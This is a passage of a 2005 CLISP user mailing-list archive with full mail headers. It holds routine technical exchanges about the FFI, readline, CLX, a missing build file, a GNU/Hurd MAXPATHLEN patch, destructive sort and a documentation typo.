sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQSA2-0008KK-Tl for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 09:11:58 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EQSA0-00058c-CM for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 09:11:58 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 14 Oct 2005 18:11:47 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <4TLP1212>; Fri, 14 Oct 2005 18:11:47 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03062D0D33@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: zellerin@gmail.com Subject: [clisp-list] Re: readline interface MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 14 09:13:26 2005 X-Original-Date: Fri, 14 Oct 2005 18:11:40 +0200 Tomas Zellerin writes: OTOH, is there then any need to have it as external >variable and not get the value and translate it to lisp constant, Sure. One would convert once and for all, while the other causes = conversion each time when needed. Consider restarting from an image. = You wouldn't want to have an old Lisp constant that points to memory = from an ancient session. Of course, within the section the thing is constant so a shortcut could = be taken, but then you need to provide for detecting new sessions and = updates. >Since I am already writing to you, an allocation question: is there a >way how to declare allocation policy for a ffi function (e.g., >rl_funmap_names) that returns malloc-allocated nil-terminated array >(that should be freed) of fixed strings (that must not be freed)? No, the clisp FFI does not offer such fine granularity. It's either a = full descent & freeing of all freeable objects accessible from a = parameter, or nothing. You could play tricks with casting, but I don't = recommend that since it obscures the behaviour. FFI:FREE-FOREIGN &key = :FULL is available now, just use it with :full nil in your example. Regards, J=F6rg H=F6hle. From sds@gnu.org Fri Oct 14 09:29:49 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQSRJ-0000wx-Nf for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 09:29:49 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EQSRH-0001Mu-8F for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 09:29:49 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.184]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j9EGTWR3011533; Fri, 14 Oct 2005 12:29:38 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <434F8E75.8090709@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 14 Oct 2005 13:54:45 +0300") References: <434F8E75.8090709@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: readline initialize Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 14 09:31:26 2005 X-Original-Date: Fri, 14 Oct 2005 12:28:26 -0400 > * Yaroslav Kavenchuk [2005-10-14 13:54:45 +0300]: > > > $ clisp -K full --quiet > ;; Loading file C:\Documents and > Settings\Kavenchuk_Yaroslav\.clisprc.fas ... > ;; Loading file C:\CL\lib\patches\win32\win32.fas ... > ;; Loaded file C:\CL\lib\patches\win32\win32.fas > ;; Loading file C:\CL\lib\patches\readline\readline.fas ... > ;; Loaded file C:\CL\lib\patches\readline\readline.fas > Set readline screen size to 100x35 > ;; Loading file C:\CL\lib\cclan\asdf\asdf.fas ... > ;; Loaded file C:\CL\lib\cclan\asdf\asdf.fas > ;; Loaded file C:\Documents and Settings\Kavenchuk_Yaroslav\.clisprc.fas > > but after loading ~/.clisprc readline reset to default parameters: > > [1]> (readline:get-screen-size) > 24 ; > 80 > > (reset-screen-size) is work: > > [2]> (reset-screen-size) > (35 . 100) > [3]> (readline:get-screen-size) > 35 ; > 100 > apparently the internal readline screen size detection (invoked between your (reset-screen-size) and the first prompt output) is not too good. please discuss this with the readline maintainer and do report back here what you find out! thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Hard work has a future payoff. Laziness pays off NOW. From sds@gnu.org Fri Oct 14 10:49:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQTg9-0005aW-Ub for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 10:49:13 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EQTg8-0002WY-85 for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 10:49:14 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.184]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j9EHmnsl025736; Fri, 14 Oct 2005 13:48:49 -0400 (EDT) To: Cc: , Gilbert Baumann Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051014135711.4558C10F9F6@thalassa.informatimago.com> (Pascal Bourguignon's message of "Fri, 14 Oct 2005 15:57:11 +0200 (CEST)") References: <20051014135711.4558C10F9F6@thalassa.informatimago.com> Mail-Followup-To: , , Gilbert Baumann Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: gatlopp produces an internal error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 14 10:50:17 2005 X-Original-Date: Fri, 14 Oct 2005 13:47:43 -0400 > * Pascal Bourguignon [2005-10-14 15:57:11 +0200]: > > I was trying to run gatlopp on clisp: > http://src.hexapodia.net/gatlopp.tar.gz (actually extracts to > gatlopp_0.3, if you don't get the same, I'll send you the archive), > > when clx.f asked me to inform the authors of an internal error: > > *** - Internal error: statement in file "clx.f", line 6648 has been reached!! > Please send the authors of the program a description how you produced > this error! XLIB:CHANGE-KEYBOARD-CONTROL is not implemented. if you would like to work on this, just go ahead. otherwise, please try to figure out what other functions missing in new-clx gatlopp needs. to do that, you will need to replace (XLIB:CHANGE-KEYBOARD-CONTROL ...) forms in the gatlopp sources with something like (warn "not implemented: ~S") and try running gatlopp again. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k UNIX, car: hard to learn/easy to use; Windows, bike: hard to learn/hard to use. From tkb@tkb.mpl.com Fri Oct 14 12:08:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQUup-0001ol-Gf for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 12:08:27 -0700 Received: from tkb.mpl.com ([64.181.9.74]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EQUuo-0005HA-2U for clisp-list@lists.sourceforge.net; Fri, 14 Oct 2005 12:08:27 -0700 Received: from tkb.mpl.com (tkb.mpl.com [64.181.9.74]) by tkb.mpl.com (8.13.1/8.13.1) with ESMTP id j9EIYc8T041614; Fri, 14 Oct 2005 14:34:39 -0400 (EDT) (envelope-from tkb@tkb.mpl.com) From: "T. Kurt Bond" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17231.64062.785260.818593@tkb.mpl.com> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.19 under Emacs 21.3.1 X-Greylist: Sender DNS name whitelisted, not delayed by milter-greylist-2.0 (tkb.mpl.com [64.181.9.74]); Fri, 14 Oct 2005 14:34:40 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] version.sh is missing from clisp-2.35.tar.bz2 and clisp-2.35.tar.gz Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 14 12:10:22 2005 X-Original-Date: Fri, 14 Oct 2005 14:34:38 -0400 Is there any reason version.sh is missing from clisp-2.35.tar.bz2 and clisp-2.35.tar.gz? -- T. Kurt Bond, tkb@tkb.mpl.com From soeren.d.schulze@gmx.de Sat Oct 15 06:49:30 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQmPh-0004ug-Va for clisp-list@lists.sourceforge.net; Sat, 15 Oct 2005 06:49:29 -0700 Received: from pop.gmx.net ([213.165.64.20] helo=mail.gmx.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1EQmPg-0000S3-ER for clisp-list@lists.sourceforge.net; Sat, 15 Oct 2005 06:49:30 -0700 Received: (qmail invoked by alias); 15 Oct 2005 13:49:17 -0000 Received: from p50924822.dip.t-dialin.net (EHLO [192.168.1.8]) [80.146.72.34] by mail.gmx.net (mp006) with SMTP; 15 Oct 2005 15:49:17 +0200 X-Authenticated: #9357126 Message-ID: <435108DA.2080401@gmx.de> From: "Soeren D. Schulze" User-Agent: Mozilla Thunderbird 1.0.7 (X11/20051010) X-Accept-Language: de-DE, de, en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Patch to fix a MAXPATHLEN issue Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Oct 15 06:50:38 2005 X-Original-Date: Sat, 15 Oct 2005 15:49:14 +0200 Hello, I have (hopefully) successfully ported CLisp to GNU/Hurd. However, there was the issue that GNU/Hurd does not define MAXPATHLEN. This is not a bug in GNU/Hurd, as POSIX does not require MAXPATHLEN and neither do the GNU Coding Standards. For major parts of the code, the existence of MAXPATHLEN is asserted by an #ifndef clause. The only exception is src/execname.c, and I have decided to fix it according to the GNU Coding Standards, which means that MAXPATHLEN is not used at all, or at least not if not defined natively. Could you review the patch below? Sören PS: I am not subscribed, so please CC me. --- clisp-2.35.orig/src/execname.c +++ clisp-2.35/src/execname.c @@ -125,12 +125,22 @@ /* exec treats paths containing slashes as relative to the current directory */ if (maybe_executable(program_name)) { + char *new_exec_name; + resolve: /* resolve program_name: */ +# ifdef MAXPATHLEN executable_name = (char*) malloc(MAXPATHLEN); if (executable_name == NULL) { errno = ENOMEM; goto notfound; } - if (realpath(program_name,executable_name) == NULL) { - free(executable_name); goto notfound; +# else + executable_name = NULL; +# endif + new_exec_name = realpath(program_name,executable_name); + if (new_exec_name == NULL) { + free(executable_name); + goto notfound; + } else { + executable_name = new_exec_name; } return 0; } From grdscarabe@grdscarabe.net Sat Oct 15 10:01:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQpPd-00054z-Ql for clisp-list@lists.sourceforge.net; Sat, 15 Oct 2005 10:01:37 -0700 Received: from lan.drazzib.com ([82.67.125.122]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EQpPc-00084X-Hc for clisp-list@lists.sourceforge.net; Sat, 15 Oct 2005 10:01:37 -0700 Received: from localhost (localhost [127.0.0.1]) by lan.drazzib.com (DrazziB Exchange 2000 Server) with ESMTP id F0C1A29E for ; Sat, 15 Oct 2005 19:01:28 +0200 (CEST) Received: from lan.drazzib.com ([127.0.0.1]) by localhost (daboo [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 07191-04 for ; Sat, 15 Oct 2005 19:01:24 +0200 (CEST) Received: from [192.168.50.102] (nat-147-226-209-177.bsu.edu [147.226.209.177]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by lan.drazzib.com (DrazziB Exchange 2000 Server) with ESMTP id 6313AE74 for ; Sat, 15 Oct 2005 19:01:24 +0200 (CEST) Message-ID: <435134FA.5050405@grdscarabe.net> From: GrdScarabe User-Agent: Mozilla Thunderbird 1.0.7 (X11/20051013) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at drazzib.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] List order problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Oct 15 10:03:02 2005 X-Original-Date: Sat, 15 Oct 2005 11:57:30 -0500 Hi all ... I'm a newbie in CLisp programmation and I've a problem I don't understand :( I have function that create a particular list and I want to return this list ordered in two different ways... the end of the function is : (print (sort lst #'move_morep)) (list (sort lst #'move_morep) (sort lst #'move_lessp)))) with lst the list computed by the function. The print is here only for debug, when the function is launched is the lisp interpreter, the result is : ((0 2) (1 1) (2 0) (0 1) (1 0)) (((1 0) (0 1) (2 0) (1 1) (0 2)) ((1 0) (0 1) (2 0) (1 1) (0 2))) The first line is the print result and correspond to the result I really want, but the list do not return it and I don't understand why ! If someone can help me, I'll appreciate that ! GrdScarabe From pjb@informatimago.com Sat Oct 15 11:02:49 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQqMr-0007ys-Lm for clisp-list@lists.sourceforge.net; Sat, 15 Oct 2005 11:02:49 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EQqMi-000520-0m for clisp-list@lists.sourceforge.net; Sat, 15 Oct 2005 11:02:49 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id C8F70585D3; Sat, 15 Oct 2005 20:02:04 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 1F825585C8; Sat, 15 Oct 2005 20:01:05 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 0039110F9F6; Sat, 15 Oct 2005 20:00:57 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17233.17368.887814.472044@thalassa.informatimago.com> To: GrdScarabe Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] List order problem In-Reply-To: <435134FA.5050405@grdscarabe.net> References: <435134FA.5050405@grdscarabe.net> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Oct 15 11:04:16 2005 X-Original-Date: Sat, 15 Oct 2005 20:00:56 +0200 GrdScarabe writes: > I'm a newbie in CLisp programmation and I've a problem I don't understand :( > I have function that create a particular list and I want to return this > list ordered in two different ways... the end of the function is : Read better CLHS! sort is destructive. > (print (sort lst #'move_morep)) > (list (sort lst #'move_morep) (sort lst #'move_lessp)))) (list (sort (copy-seq lst) (function move-morep)) (sort (copy-seq lst) (function move-lessp))) You can also return multiple values instead of consing a new list: (values (sort (copy-seq lst) (function move-morep)) (sort (copy-seq lst) (function move-lessp))) And you collect them with: (multiple-value-bind (increasing decreasing) (generate-lists ...) (print increasing) (print decreasing)) General lisp questions are better asked on news:comp.lang.lisp -- __Pascal Bourguignon__ http://www.informatimago.com/ In a World without Walls and Fences, who needs Windows and Gates? From lin8080@freenet.de Sat Oct 15 17:09:05 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQw5I-0007Bh-Ri for clisp-list@lists.sourceforge.net; Sat, 15 Oct 2005 17:09:04 -0700 Received: from mout1.freenet.de ([194.97.50.132]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EQw5I-0002GS-73 for clisp-list@lists.sourceforge.net; Sat, 15 Oct 2005 17:09:04 -0700 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout1.freenet.de with esmtpa (Exim 4.53-RC2) id 1EQw5F-0004kt-4K for clisp-list@lists.sourceforge.net; Sun, 16 Oct 2005 02:09:01 +0200 Received: from be7b6.b.pppool.de ([213.7.231.182] helo=freenet.de) by mx2.freenet.de with esmtpa (ID lin8080@freenet.de) (Exim 4.53-RC2 #21) id 1EQw5E-0005EQ-0O for clisp-list@lists.sourceforge.net; Sun, 16 Oct 2005 02:09:01 +0200 Message-ID: <43519948.40E5A09F@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] reporting details (and the rest) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Oct 15 17:10:11 2005 X-Original-Date: Sun, 16 Oct 2005 02:05:28 +0200 Hallo Found a missing ) in impnotes 2.35. 20.1. The Files Dictionary [CLHS-20.2] ... Function DIRECTORY ... If you want all the files and subdirectories in the current directory, you should use (NCONC (DIRECTORY "*/") <--- here (DIRECTORY "*")). If you want all the files and subdirectories in all the subdirectories under the current directory (similar to the ls -R UNIX command), use (NCONC (DIRECTORY "**/") <--- here (DIRECTORY "**/*")). ;; ------------------------------------------------------------ and the rest of the story: [51]> (setf dir (nconc (directory "*"))) ; (setf dir home) ... [52]> dir (#P"C:\\CL235\\HyperSpec\\" #P"C:\\CL235\\wxcl-1.1.0\\" #P"C:\\CL235\\syscalls\\" #P"C:\\CL235\\src\\" #P"C:\\CL235\\regexp\\" #P"C:\\CL235\\rawsock\\" #P"C:\\CL235\\postgresql\\" #P"C:\\CL235\\linkkit\\" #P"C:\\CL235\\i18n\\" #P"C:\\CL235\\full\\" #P"C:\\CL235\\emacs\\" #P"C:\\CL235\\doc\\" #P"C:\\CL235\\dirkey\\" #P"C:\\CL235\\data\\" #P"C:\\CL235\\bindings\\" #P"C:\\CL235\\base\\") [53> (setf dirall (nconc (directory "*/"))) ... [54]> dirall (#P"C:\\CL235\\test" #P"C:\\CL235\\HyperSpec-README.text" #P"C:\\CL235\\HyperSpec-Legalese.text" #P"C:\\CL235\\LESEN.TXT" #P"C:\\CL235\\ANNOUNCE.TXT" #P"C:\\CL235\\install.bat" #P"C:\\CL235\\SUMMARY.TXT" #P"C:\\CL235\\README.TXT" #P"C:\\CL235\\NEWS.TXT" #P"C:\\CL235\\clisp.exe" #P"C:\\CL235\\GNU-GPL.TXT" #P"C:\\CL235\\COPYRI~1.TXT" #P"C:\\CL235\\CLISP-~1.TXT") ... aha -nice [55]> (user-homedir-pathname) #P"C:\\CL235\\" [56]> (setf home (user-homedir-pathname)) #P"C:\\CL235\\" [57]> home #P"C:\\CL235\\" [58]> (setf work .... öhm now we come to something complitly different: (read-from-file :continue :input *impnotes.htm*) ... AHSO [58]> (ext:dir) ... C:\CL235\clisp.exe 620836 2005-08-29 17:32:40 C:\CL235\install.bat 726 2005-03-10 15:25:24 C:\CL235\test 0 2005-10-15 23:50:08 C:\CL235\winload.txt 352 2005-10-16 00:48:58 **damm 25-line-box-scroll mom [60]> (ext:dir/b) *** - READ from # #> : # has no external symbol with name "DIR/B" The following restarts are available: ABORT :R1 ABORT Break 1 [60]> :a hmmm ... double click on command.com and insert C:\> dir/? ...(scrolling-rest)... (Erweiterte oder mehrere Dateiangaben sind zulässig.) /P Zeigt die Informationen seitenweise an. /W Zeigt die Informationen im Breitformat an. /A Zeigt Dateien mit den angegebenen Attributen an. Attribute D Verzeichnisse R Schreibgeschützte Dateien H Versteckte Dateien A Zu archivierende Dateien S Systemdateien - vorangestellt kehrt die Bedeutung um /O Listet Dateien sortiert auf. Sortierfolge N Name (alphabetisch) S Größe (kleinere zuerst) E Erweiterung (alphabetisch) D Datum/Uhrzeit (ältere zuerst) G Verzeichnisse zuerst - vorangestellt kehrt die Sortierung um A Datum des letzten Zugriffs (frühester zuerst) /S Zeigt Dateien im Verzeichnis und dessen Unterverzeichnissen an. /B Einfaches Format (kein Vorspann oder Zusammenfassung). /L Kleinschreibung. /V Ausführliche Anzeige. /4 Zeigt vierstellige Jahreszahl an (ignoriert wenn /V gewählt ist). Optionen können in der Umgebungsvariablen DIRCMD voreingestellt werden. - vor einer Option deaktiviert die Voreinstellung, z.B. /-W. hmmm ... should I use ? but soon I test (os:ls --help) on suse bye for now and have fun stefan playing newbie :) ... uuuh clisp-list@lists.sf.net ; CLISP FAQ list or clisp-list@lists.sourceforge.net ; impnotes From sds@gnu.org Sat Oct 15 18:48:54 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQxdt-0005AV-AF for clisp-list@lists.sourceforge.net; Sat, 15 Oct 2005 18:48:53 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EQxdo-0002wR-ML for clisp-list@lists.sourceforge.net; Sat, 15 Oct 2005 18:48:53 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp02.mrf.mail.rcn.net with ESMTP; 15 Oct 2005 21:48:48 -0400 X-IronPort-AV: i="3.97,218,1125892800"; d="scan'208"; a="132698129:sNHT22930448" To: clisp-list@lists.sourceforge.net, "T. Kurt Bond" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17231.64062.785260.818593@tkb.mpl.com> (T. Kurt Bond's message of "Fri, 14 Oct 2005 14:34:38 -0400") References: <17231.64062.785260.818593@tkb.mpl.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "T. Kurt Bond" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: version.sh is missing from clisp-2.35.tar.bz2 and clisp-2.35.tar.gz Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: 